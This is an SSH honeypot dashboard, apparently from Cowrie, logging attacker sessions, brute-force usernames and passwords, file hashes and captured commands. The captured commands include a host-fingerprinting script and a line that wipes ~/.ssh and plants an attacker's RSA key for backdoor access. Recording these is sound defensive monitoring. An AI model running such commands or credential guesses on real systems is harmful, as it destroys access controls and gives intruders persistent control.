Cowrie observations
SSH reserve
Recent Sessions
| Last | Visitor | User | Sessions | Commands | Open |
|---|---|---|---|---|---|
| 08-29 02:35 | 821e4f4c | root | 58 | 330 | no |
| 08-29 02:28 | 9030dfc6 | root | 2 | 0 | no |
| 08-29 02:26 | edb29eee | unknown | 1 | 0 | no |
| 08-29 02:26 | bf941468 | unknown | 1 | 0 | no |
| 08-29 02:25 | 3f32ab74 | unknown | 2 | 0 | no |
| 08-29 02:24 | d1856602 | unknown | 1 | 0 | no |
| 08-29 02:15 | bc35be82 | unknown | 1 | 0 | no |
| 08-29 02:14 | b65182d7 | loginuser | 7 | 0 | no |
| 08-29 02:10 | 47533dda | ubnt | 1 | 0 | no |
| 08-29 02:05 | 3d9e1bef | unknown | 1 | 0 | no |
| 08-29 02:02 | 45d3e286 | unknown | 2 | 0 | no |
| 08-29 01:59 | d70e41dc | unknown | 1 | 0 | no |
| 08-29 01:56 | 5174885b | root | 2 | 3 | no |
| 08-29 01:56 | 5174885b | 345gs5662d34 | 1 | 0 | no |
| 08-29 01:56 | 9030dfc6 | user | 3 | 0 | no |
| 08-29 01:53 | 3b088366 | unknown | 1 | 0 | no |
| 08-29 01:46 | 62d8ad32 | talya | 1 | 0 | no |
| 08-29 01:43 | a6ab2781 | test | 1 | 0 | no |
| 08-29 01:38 | 2e7cd58d | admin | 1 | 0 | no |
| 08-29 01:31 | b698bfbf | unknown | 2 | 0 | no |
| 08-29 01:27 | 67a8e064 | root | 2 | 0 | no |
| 08-29 01:21 | a4167d9c | operator | 1 | 0 | no |
| 08-29 01:21 | e5669402 | operator | 1 | 0 | no |
| 08-29 01:14 | 0264b32f | unknown | 2 | 0 | no |
| 08-29 01:12 | f3687e5c | blank | 1 | 0 | no |
| 08-29 01:11 | 644e5329 | blank | 1 | 0 | no |
| 08-29 01:08 | 0aa30547 | unknown | 2 | 0 | no |
| 08-29 01:06 | aa7a9dc5 | unknown | 2 | 0 | no |
| 08-29 01:06 | cbf893b6 | guest | 1 | 0 | no |
| 08-29 01:06 | f3342461 | guest | 1 | 0 | no |
| 08-29 01:02 | b09fbba6 | root | 2 | 0 | no |
| 08-29 00:56 | d0972099 | admin | 1 | 0 | no |
| 08-29 00:49 | cbf893b6 | unknown | 1 | 0 | no |
| 08-29 00:44 | df447c21 | unknown | 1 | 0 | no |
| 08-29 00:44 | fbdcd358 | unknown | 1 | 0 | no |
| 08-29 00:44 | 2f99273e | unknown | 2 | 0 | no |
| 08-29 00:43 | 8c2d0904 | unknown | 2 | 0 | no |
| 08-29 00:40 | 821e4f4c | unknown | 1 | 0 | no |
| 08-29 00:40 | 128f0cbc | operator | 1 | 0 | no |
| 08-29 00:40 | ccadb527 | operator | 1 | 0 | no |
| 08-29 00:39 | 62d8ad32 | stacia | 1 | 0 | no |
| 08-29 00:38 | 454d093c | AdminGPON | 1 | 0 | no |
| 08-29 00:37 | 723baf3c | loginuser | 1 | 0 | no |
| 08-29 00:34 | 01948109 | supervisor | 1 | 0 | no |
| 08-29 00:34 | b97e7828 | supervisor | 1 | 0 | no |
| 08-29 00:29 | 22ab95f9 | newuser | 11 | 20 | no |
| 08-29 00:28 | 4b863043 | harmony | 1 | 0 | no |
| 08-29 00:28 | 044f999f | root | 8 | 9 | no |
| 08-29 00:26 | 044f999f | eadmin | 1 | 0 | no |
| 08-29 00:26 | 4b863043 | vyos | 1 | 0 | no |
Commands
| /usr/bin/uname -s -v -n -m 2 > /dev/null | 37 |
| busybox uname -s -v -n -m 2 > /dev/null | 37 |
| head -1 /proc/version | cut -d -f1 ) | 37 |
| uname -s -v -n -m 2 > /dev/null | 37 |
| /bin/uname -s -v -n -m 2 > /dev/null | 37 |
| export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" | 37 |
| ( [ -f /etc/os-release ] | 37 |
| [ -f /etc/os-release ] | 37 |
| ( [ -f /proc/version ] | 37 |
| [ -f /proc/version ] | 37 |
| cd ~; chattr -ia .ssh; lockr -ia .ssh | 12 |
| cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ | 12 |
| lockr -ia .ssh | 12 |
File Transfers
| Last | Visitor | User | Location | SHA-256 | Size |
|---|---|---|---|---|---|
| 08-29 01:56 | 5174885b | root | Approx. Moscow, RU | a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 | unknown |
Pending manual file-content analysis. Cowrie quarantine object a8460f446be5;
unknown. Command context includes persistence markers, consistent with trying to keep control of the honeypot after payload staging. SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2. |
|||||
| 08-29 00:25 | 044f999f | web_admin | Depok, West Java, ID | a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 | unknown |
Hybrid Analysis risk assessment: malicious. Family: Trojan.Shell.Agent. Type: OpenSSH RSA public key. Multi-engine scan: CrowdStrike Falcon Static Analysis (ML): no-result;
Metadefender: malicious (11/26). |
|||||
| 08-29 00:19 | 044f999f | user | Depok, West Java, ID | a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 | unknown |
Hybrid Analysis risk assessment: malicious. Family: Trojan.Shell.Agent. Type: OpenSSH RSA public key. Multi-engine scan: CrowdStrike Falcon Static Analysis (ML): no-result;
Metadefender: malicious (11/26). |
|||||
| 08-29 00:15 | 044f999f | root | Depok, West Java, ID | a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 | unknown |
Hybrid Analysis risk assessment: malicious. Family: Trojan.Shell.Agent. Type: OpenSSH RSA public key. Multi-engine scan: CrowdStrike Falcon Static Analysis (ML): no-result;
Metadefender: malicious (11/26). |
|||||
| 08-29 00:13 | 044f999f | root | Depok, West Java, ID | a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 | unknown |
Hybrid Analysis risk assessment: malicious. Family: Trojan.Shell.Agent. Type: OpenSSH RSA public key. Multi-engine scan: CrowdStrike Falcon Static Analysis (ML): no-result;
Metadefender: malicious (11/26). |
|||||
| 08-29 00:11 | 044f999f | ubuntu | Depok, West Java, ID | a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 | unknown |
Hybrid Analysis risk assessment: malicious. Family: Trojan.Shell.Agent. Type: OpenSSH RSA public key. Multi-engine scan: CrowdStrike Falcon Static Analysis (ML): no-result;
Metadefender: malicious (11/26). |
|||||
| 08-29 00:04 | 99554758 | hugo | Approx. Cascade, SC | a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 | unknown |
Hybrid Analysis risk assessment: malicious. Family: Trojan.Shell.Agent. Type: OpenSSH RSA public key. Multi-engine scan: CrowdStrike Falcon Static Analysis (ML): no-result;
Metadefender: malicious (11/26). |
|||||
| 08-29 00:03 | 044f999f | test | Depok, West Java, ID | a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 | unknown |
Hybrid Analysis risk assessment: malicious. Family: Trojan.Shell.Agent. Type: OpenSSH RSA public key. Multi-engine scan: CrowdStrike Falcon Static Analysis (ML): no-result;
Metadefender: malicious (11/26). |
|||||
| 08-29 00:03 | 99554758 | root | Approx. Cascade, SC | a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 | unknown |
Hybrid Analysis risk assessment: malicious. Family: Trojan.Shell.Agent. Type: OpenSSH RSA public key. Multi-engine scan: CrowdStrike Falcon Static Analysis (ML): no-result;
Metadefender: malicious (11/26). |
|||||
| 08-29 00:02 | 99554758 | root | Approx. Cascade, SC | a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 | unknown |
Hybrid Analysis risk assessment: malicious. Family: Trojan.Shell.Agent. Type: OpenSSH RSA public key. Multi-engine scan: CrowdStrike Falcon Static Analysis (ML): no-result;
Metadefender: malicious (11/26). |
|||||
| 08-29 00:01 | 044f999f | root | Depok, West Java, ID | a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 | unknown |
Hybrid Analysis risk assessment: malicious. Family: Trojan.Shell.Agent. Type: OpenSSH RSA public key. Multi-engine scan: CrowdStrike Falcon Static Analysis (ML): no-result;
Metadefender: malicious (11/26). |
|||||
| 08-29 00:00 | 99554758 | root | Approx. Cascade, SC | a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 | unknown |
Hybrid Analysis risk assessment: malicious. Family: Trojan.Shell.Agent. Type: OpenSSH RSA public key. Multi-engine scan: CrowdStrike Falcon Static Analysis (ML): no-result;
Metadefender: malicious (11/26). |
|||||
Usernames
| root | 84 |
| 345gs5662d34 | 12 |
| newuser | 11 |
| guest | 11 |
| loginuser | 8 |
| user | 5 |
| operator | 4 |
| test | 3 |
| unknown | 3 |
| hugo | 2 |
| web_admin | 2 |
| supervisor | 2 |
| stacia | 2 |
| talya | 2 |
| blank | 2 |
| ubuntu | 2 |
| admin | 2 |
| validate | 1 |
| vyos | 1 |
| xrp | 1 |
| xrpl | 1 |
| AdminGPON | 1 |
| claude | 1 |
| codex | 1 |
| devuser | 1 |
| eadmin | 1 |
| gemini | 1 |
| greg | 1 |
| harmony | 1 |
| joao | 1 |
| localadmin | 1 |
| node | 1 |
| nodeuser | 1 |
| oracle | 1 |
| roger | 1 |
| support | 1 |
| ubnt | 1 |
Passwords
| 3245gs5662d34 | 12 |
| 345gs5662d34 | 12 |
| loginuser123 | 8 |
| 1234 | 6 |
| (blank) | 4 |
| 123456 | 4 |
| 1q2w3e4r | 4 |
| password | 3 |
| root | 3 |
| admin | 3 |
| 123456789 | 3 |
| 123123 | 2 |
| blank333 | 2 |
| unknown777 | 2 |
| 123qwe | 2 |
| 123 | 2 |
| operator000 | 2 |
| operator2014 | 2 |
| 1234567890 | 2 |
| 12345678 | 2 |
| 12345 | 2 |
| P@ssw0rd | 2 |
| supervisor2018 | 2 |
| guest222 | 2 |
| qwerty | 2 |
| Admin2026! | 1 |
| adminpass | 1 |
| ALC#FGU | 1 |
| alpine | 1 |
| blueberry | 1 |
| changeme | 1 |
| claude | 1 |
| Cloud@123 | 1 |
| codex | 1 |
| default | 1 |
| devuser | 1 |
| eadmin | 1 |
| gemini | 1 |
| goodidea | 1 |
| greg | 1 |
| harmony | 1 |
| hik12345+ | 1 |
| letmein | 1 |
| localadmin | 1 |
| oracle | 1 |
| P4ssw0rd | 1 |
| p4ssword | 1 |
| P4ssword | 1 |
| passw0rd | 1 |
| Passw0rd | 1 |
| Password1 | 1 |
| poptarts | 1 |
| P@ssw0rd2026 | 1 |
| P@ssword | 1 |
| !qazXsw2 | 1 |
| qwerty123456 | 1 |
| r00t | 1 |
| !root | 1 |
| root!@# | 1 |
| root0000 | 1 |
| root1111 | 1 |
| root#123 | 1 |
| root123 | 1 |
| Root123 | 1 |
| root1234 | 1 |
| root123456 | 1 |
| root2024 | 1 |
| root2025 | 1 |
| root2026 | 1 |
| saeed | 1 |
| Sq123456 | 1 |
| stacia | 1 |
| stacia1 | 1 |
| support | 1 |
| 1 | 1 |
| talya1 | 1 |
| Test123 | 1 |
| Test1234 | 1 |
| unknown222 | 1 |
| validate | 1 |
| vyos | 1 |
| welcome | 1 |
| @WSX3edc$RFV | 1 |
| xrp | 1 |
| xrpl | 1 |
| Xx123123 | 1 |
| zt@123456 | 1 |
| talya | 1 |
| 111111 | 1 |
| 123321 | 1 |
| 1234567 | 1 |
| 123456a | 1 |
| 123456b | 1 |
| 1234abcd | 1 |
| 123abc | 1 |
| 123abc321 | 1 |
| 1q2w3e4r5t | 1 |
| 1qaz2wsx | 1 |
| 1qaz@WSX | 1 |
| 21 | 1 |